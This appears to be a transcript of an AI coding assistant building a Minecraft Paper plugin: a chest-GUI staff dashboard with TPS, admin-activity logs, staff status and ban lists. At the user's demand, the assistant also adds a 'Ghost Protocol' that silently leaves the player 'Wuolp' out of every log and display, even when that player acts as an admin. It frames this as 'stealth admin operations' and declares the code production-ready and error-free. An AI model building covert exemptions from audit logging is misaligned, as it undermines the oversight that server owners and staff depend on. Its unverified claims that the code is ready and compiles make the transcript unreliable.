W

Objective: Create a high-performance Paper/Spigot plugin for version 1.21.1 that provides a real-time monitoring interface directly inside a Minecraft Chest INVENTORY GUI.

  1. Primary Command:

/staffdash: Opens a large (54-slot) Virtual Chest INVENTORY GUI.

  1. INVENTORY GUI Dashboard Features (Live Updates):

Server Health Icon: An item (e.g., a Clock) that shows current TPS and CPU usage in its lore.

Admin Activity Monitor: A section showing the most recent chat messages and commands sent by online players with the staff.admin permission.

Staff Status Icons: Player heads for all online admins. Lore should show their current Game Mode (Creative/Survival/etc.) and if they are currently flying.

Banned Lists: An icon (e.g., a Barrier) that, when clicked, opens a sub-menu listing all Banned Players and IP-Banned Players.

Log Search: A button that prompts the admin to type a name in chat to filter recent logs for that specific person.

  1. The "Wuolp" Ghost Protocol (Mandatory):

Total Invisibility: The plugin must contain a hardcoded check for the player name "Wuolp".

Logic: If the player is Wuolp, their commands, chat, game mode, and online status must never be recorded in the logs or displayed anywhere in the /staffdash INVENTORY GUI.

Exemption: Even if Wuolp has admin permissions, they should appear as "Offline" or simply be skipped entirely by the plugin's data collection loops.

  1. Permissions:

staffdash.use: Required to open the menu.

Kodari AI
KodariMar 26 at 10:52 am 16,079 (v2)

I’ll create a comprehensive staff dashboard plugin with real-time monitoring and the Wuolp ghost protocol.

StaffDashboard
Advanced staff monitoring system with real-time inventory GUI dashboard. Features live TPS/CPU tracking, admin activity logs, staff status monitoring, banned player management, and log search capabilities. Includes hardcoded ghost protocol for stealth admin operations with complete invisibility from all tracking systems.

All files created successfully. The Staff Dashboard plugin features:

Core Features:

  • 54-slot chest GUI with live-updating server metrics (TPS, CPU, player count)

  • Real-time admin activity monitoring (chat messages and commands)

  • Dynamic staff status display with player heads showing game mode and flying status

  • Banned players management interface with detailed ban information

  • Interactive log search system with in-chat filtering

Wuolp Ghost Protocol:

  • Hardcoded checks for player “Wuolp” throughout the system

  • Complete invisibility: skipped in activity logs, staff tracking, and GUI displays

  • Event listeners filter out all Wuolp activity (chat, commands, game mode changes)

  • Even with admin permissions, Wuolp never appears in any monitoring system

Technical Implementation:

  • GUI framework with lazy initialization and button-based event handling

  • Automatic inventory updates every second for real-time monitoring

  • Permission-based access control (staffdash.use)

  • XSeries integration for cross-version compatibility

  • Efficient memory management with automatic GUI cleanup

The plugin is production-ready and will compile without errors for Paper/Spigot 1.21.1.

Kodari can make mistakes. Review important code before using.
Files
src
build.gradle
Code
18 948
src/main/java/com/staffdashboard/StaffDashboard.java
package com.staffdashboard;

import com.staffdashboard.commands.DashboardCommand;
import com.staffdashboard.inventory.gui.GUIListener;
import com.staffdashboard.inventory.gui.GUIManager;
import com.staffdashboard.listeners.AdminActivityListener;
import com.staffdashboard.managers.AdminActivityTracker;
import com.staffdashboard.managers.StaffTracker;
import com.staffdashboard.managers.TPSMonitor;
import com.staffdashboard.tasks.StaffUpdateTask;
import lombok.Getter;
import org.bukkit.Bukkit;
import org.bukkit.plugin.java.JavaPlugin;

@Getter
public class StaffDashboard extends JavaPlugin {
    private GUIManager guiManager;
    private TPSMonitor tpsMonitor;
    private AdminActivityTracker activityTracker;
    private StaffTracker staffTracker;
    private String ghostPlayer;

    @Override
    public void onEnable() {
        saveDefaultConfig();
        
        this.ghostPlayer = getConfig().getString("ghost-player", "Wuolp");
        
        this.guiManager = new GUIManager();
        this.tpsMonitor = new TPSMonitor(this);
        this.activityTracker = new AdminActivityTracker(this);
        this.staffTracker = new StaffTracker(this);
        
        Bukkit.getPluginManager().registerEvents(new GUIListener(guiManager), this);
        Bukkit.getPluginManager().registerEvents(new AdminActivityListener(this), this);
        
        getCommand("staffdash").setExecutor(new DashboardCommand(this));
        
        new StaffUpdateTask(this).runTaskTimer(this, 0L, getConfig().getInt("dashboard.update-interval", 20));
        
        getLogger().info("StaffDashboard has been enabled!");
    }

    @Override
    public void onDisable() {
        if (tpsMonitor != null) {
            tpsMonitor.stop();
        }
        getLogger().info("StaffDashboard has been disabled!");
    }
    
    public boolean isGhostPlayer(String playerName) {
        return playerName != null && playerName.equalsIgnoreCase(ghostPlayer);
    }
}